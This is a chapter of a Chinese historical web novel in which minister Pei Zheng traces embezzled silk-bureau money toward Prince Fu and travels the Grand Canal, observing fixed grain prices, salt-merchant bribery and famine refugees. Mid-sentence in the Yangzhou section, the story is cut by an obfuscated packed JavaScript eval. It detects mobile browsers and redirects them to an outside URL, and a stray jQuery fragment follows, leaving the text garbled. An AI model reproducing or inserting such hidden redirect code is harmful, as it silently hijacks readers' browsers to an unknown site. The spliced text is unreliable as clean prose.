折子递上去的第二天，怀恩来了。
不是朝堂上。是在宰相府的书房里。裴铮下朝回府，门房说“有位公公在花厅等了半个时辰了”。他走进花厅的时候，怀恩正站在书架前，背着手看原身的藏书。大红蟒衣在满墙青蓝色书函的映衬下，像一滴血落在青石板上。
“裴大人的书房，比咱家见过的所有书房都干净。”怀恩没有转身，声音慢悠悠的，“咱家在宫里待了二十年，见过很多书房。有的书房里摆满了书，一本都没翻过。有的书房里没有书，案上永远只有刚收到的银票。裴大人的书，”他抽出一本，翻了两页又放回去，“都翻旧了。”
“公公来，不是为了夸臣的书吧。”
怀恩转过身。他的脸上带着那种裴铮熟悉的微笑——嘴角弯着，眼睛里没有笑意。但今天这微笑里多了一点东西。不是敌意。是一种裴铮暂时无法命名的情绪。
“裴大人递了一道折子，弹劾司礼监。”怀恩说，“陛下留中了。”
留中。不是准，也不是驳。是放在案头，不批不发，让时间来消化。裴铮知道这是女帝在给他和怀恩之间留余地。
“咱家今天来，不是问裴大人为什么要弹劾司礼监。”怀恩从袖中取出一张纸，展开。裴铮认出来，那是他奏折里附的证据清单中的一页——宝祥号钱庄的汇款记录。“咱家是来告诉裴大人，宝祥号的东家是谁。”
裴铮看着他。
“宝祥号的东家，姓朱。”怀恩的声音还是慢悠悠的，“朱聪。福王府的长史。”
裴铮的瞳孔收缩了一下。福王。女帝的堂叔。先帝最小的弟弟。封地在洛阳。
“裴大人，”怀恩把那张纸重新折好，放回袖中，“江南的水，比裴大人想象的深得多。黄锦是织造局的总管，但织造局的钱不全是黄锦花的。有一部分去了扬州，有一部分去了苏州，还有一部分——”他的手指朝西边指了指，“去了洛阳。”
花厅里安静了很长时间。书架上的书被风吹动了一页，发出极轻的沙沙声。
“公公为什么要告诉臣这些？”
怀恩笑了一下。这一笑和之前所有的笑都不一样。嘴角的弧度没变，但眼睛里有了温度，像冬天的河面上裂开一道极细的缝，下面的水还是活的。
“因为咱家也想知道，福王拿了织造局的钱，到底在洛阳干了什么。”他把手从袖中抽出来，空了的手，什么都没有拿，“咱家是司礼监的掌印，但咱家也是大周的人。福王是藩王。藩王拿内廷的钱，这件事咱家不知道。咱家不知道的事情，咱家想查清楚。”
裴铮忽然想起赵方在朝房里跟他说的那句话——江南的水，深得很。前三任查江南案的御史，一死两贬。现在他明白了。不是慕容渊动的手。是福王。藩王养私兵，需要钱。江南织造局是大周最赚钱的衙门之一，每年经手的白银数以十万计。福王通过黄锦，通过宝祥号，通过一层套一层的空壳，把织造局的钱搬到了洛阳。
怀恩往花厅外面走。走到门口，停下来，没有回头。
“裴大人。咱家跟陛下说，裴大人该去江南走一趟。”
“陛下怎么说？”
“陛下说，准。”
怀恩的大红蟒衣在门廊的阴影里晃了一下，消失了。
三天后，裴铮离京。
他没有走官道。官道沿途有驿站，有接送，有地方官员的迎送。他扮作商人，从通州码头上了一艘漕船。沈青竹扮作他的书童，两个护卫扮作伙计。秦昭从北境派来的那一队人化整为零，有的扮作商贩，有的扮作流民，沿着漕运路线缀在前后。漕船是运粮的，舱里装满了通州仓的陈米，米袋子堆得像一座小山。裴铮和沈青竹坐在米袋子上，河风把沈青竹的帽带吹得啪啪响。
船行七日。通州到天津，天津到沧州，沧州到德州，德州到临清，临清到济宁，济宁到徐州。过了徐州，运河两岸的景色开始变样。北方的黄土渐渐褪去，取而代之的是大片大片的稻田和水网。空气里有了水腥气，混着稻花将开未开的清甜。越往南，河上的船越多。漕船、商船、渔船、客船，桅杆林立，帆影重重。运河像一条巨大的水道，把所有东西都往南送——粮食、布匹、铁器、木材、人。
第七天傍晚，船到淮安。淮安是漕运总督驻地，运河沿线最大的城市之一。裴铮让船靠岸，在淮安住一晚。他想看淮安的粮市。
粮市在淮安城西，沿着运河大堤一字排开。上百家粮铺，门口都挂着木牌，写着今日粮价。裴铮一家一家看过去。粳米每石一两二钱，籼米每石一两，小麦每石八钱，黄豆每石六钱。价格和京城差不多。
但沈青竹拉住了他的袖子。她指着粮铺门口的木牌，低声说：“大人，看日期。”
裴铮凑近了看。木牌上写着的日期是“承天三年八月二十日”。今天是九月初四。这块价格牌是半个月前的。
“他们半个月没更新价格了。”沈青竹说。
裴铮走进一家粮铺，要买一石米。掌柜的满脸堆笑，说粳米一石一两二钱。裴铮问，今天的市价是多少？掌柜的说，就是一两二钱。裴铮说，今天是九月初四，你门口的价格牌是八月二十日的。掌柜的笑容僵了一下，很快又恢复，说近日价格平稳，没有变动。
裴铮没有追问。他付了银子，让伙计把米搬到船上。走出粮铺的时候，他对沈青竹说：“查一下淮安府半个月前发生了什么事。”
沈青竹第二天一早就查到了。淮安府八月二十一日发了一道府衙告示——奉江南布政使司之命，自即日起，漕运沿线各府县米价由官府统一核定，粮商不得擅自涨跌。违者以“囤积居奇”论处。
核定。裴铮咀嚼着这两个字。表面上是为了稳定粮价，防止粮商哄抬。但官府核定的价格，一定比市场价低。核定价格之后，官府就可以用这个低价大量收购粮食，然后转手卖给真正的缺粮地区——比如扬州，比如江南灾区。差价进了谁的腰包？
他站在淮安城的运河大堤上，看着河水缓缓南流。河面上漕船首尾相接，桅杆上的旗帜在风里猎猎作响。每一面旗帜上都写着一个字：漕。漕运的漕。大周每年通过运河从南方运到北方的粮食，定额四百万石。四百万石粮食，从江南的稻田里收上来，装船，过淮安，过徐州，过临清，过天津，最后进通州仓。这条两千里的水路上，每一个关卡都可以伸手。淮安核价，临清抽检，天津过秤，通州入库。每一道手续都是一道缝隙。四百万石粮食流过的缝隙里，漏掉了多少银子？裴铮站在大堤上，河风吹着他的衣袍。左臂的伤已经好了，留下一道暗红色的疤痕。
“沈青竹。”他说。
“在。”
“记下来。淮安府核价，实际米价比核定价格高几成？”
“三成。”
“这三成差价，粮商不可能自己扛。要么从别处补回来，要么掺假。记下来。”
“是。”
船继续南行。
淮安往南是扬州。裴铮在扬州待了五天。
五天里他去了三个地方。第一个地方是万盛号粮铺的原址。江南案之后，万盛号被查封，东家韩通下狱。铺面已经换了招牌，叫“恒丰号”，卖的还是粮食。裴铮在恒丰号门口站了一炷香的时间，进出的客
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486125|202021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人寥寥。隔壁一家小粮铺的伙计蹲在门口嗑瓜子，看见裴铮站着不走，吐出一片瓜子皮，说：“别看了，那家东西贵。”裴铮问他，为什么贵？伙计说，人家有门路，漕粮过手的时候能截下来一部分，转手就卖。价格高，但货是真的。不像他们这些小铺子，拿不到漕粮，只能卖本地米，本地米收成不好，价格也便宜不到哪去。
裴铮给了伙计几个铜板，买了一碗大麦茶。茶水是凉的，带着一股焦糊味。
第二个地方是扬州府衙。他没有进去，在府衙对面的茶楼上坐了半个下午。茶楼二层临街，推开窗就能看见府衙大门。裴铮要了一壶龙井，坐在窗边，看着府衙门口进进出出的人。穿官服的、穿便服的、穿短打的、穿绸缎的。有一个穿着茧绸长衫的中年人进了府衙，不到一炷香就出来了，出来的时候手里拎着一个盒子。盒子不大，紫檀木的，上面雕着花纹。中年人把盒子交给门口的轿夫，上了轿。轿子朝城东去了。
沈青竹低声说：“那个人是扬州最大的盐商，姓汪。”
裴铮点了点头。盐商进府衙，空手进，拎着盒子出。盒子里装的什么，不难猜。
第三个地方是扬州城外的灾民营。江南水患已经过去两个月，灾民还没有散。朝廷的赈灾银发下来了，灾民也领到了粮食——每人每天一合米，熬成粥能照见人影。裴铮在灾民营里走了一圈。窝棚是用芦席和竹竿搭的，不遮风也不挡雨。老人坐在窝棚口，孩子光着脚在泥地里跑，妇女蹲在土灶前烧火，灶膛里的火光照着她们没有表情的脸。
一个老妇人拉着裴铮的衣角。她的手像一截枯树枝，指节粗大，皮肤皲裂。她问裴铮：“老爷，你是官吗？”
裴铮说：“不是。我是过路的商人。”
老妇人松开他的衣角，说：“官都这么说。”
裴铮蹲下来。他问老妇人，家里还有谁？老妇人说，儿子被征去修堤，堤没修完，人让水冲走了。儿媳妇带着孩子改嫁了。剩她一个人。
裴铮从袖中摸出一小块银子，放在老妇人手里。老妇人低头看了看银子，没有道谢。她把银子塞进衣襟里，说：“老爷，你要是见到官，帮老妇人问一句话。”
“什么话？”
“我儿子的尸首，还能找到吗？”
裴铮站起来。他没有回答。因为他不知道怎么回答。
离开扬州的前一天晚上，裴铮在客栈的油灯下写了一道密折。折子里记录了他沿途所见：淮安的核价、扬州的盐商、灾民营的老妇人。折子的最后，他写了一段话——
“臣沿途所见，江南之弊，不在贪墨之深，在人心之冷。淮安核价，官府夺民利而民不敢言；扬州盐商，富者通官府而贫者无告；灾民营中，老妇人问臣‘我儿子的尸首还能找到吗’，臣无言以对。臣在朝堂上说过很多话，骂过很多人。但臣站在那个老妇人面前的时候，臣第一次觉得，臣说的那些话，一文不值。”
他把密折封好，交给护卫。六百里加急，直送京城。
第二天清晨，船离开扬州，继续南行。
裴铮站在船头。运河水在船底哗哗响着。晨雾从水面上升起来，把两岸的稻田和村庄罩成一片模糊的灰白色。沈青竹从舱里出来，站在他身后。
“大人，我们接下来去哪？”
“苏州。”
“苏州？”
“黄锦是苏州人。永丰号在苏州。沈三山的织机图纸，是在苏州被收走的。”裴铮看着雾中的运河，“我要去看看，这一切开始的地方。”
船头劈开晨雾，向南驶去。雾气打湿了裴铮的衣襟，他没有擦。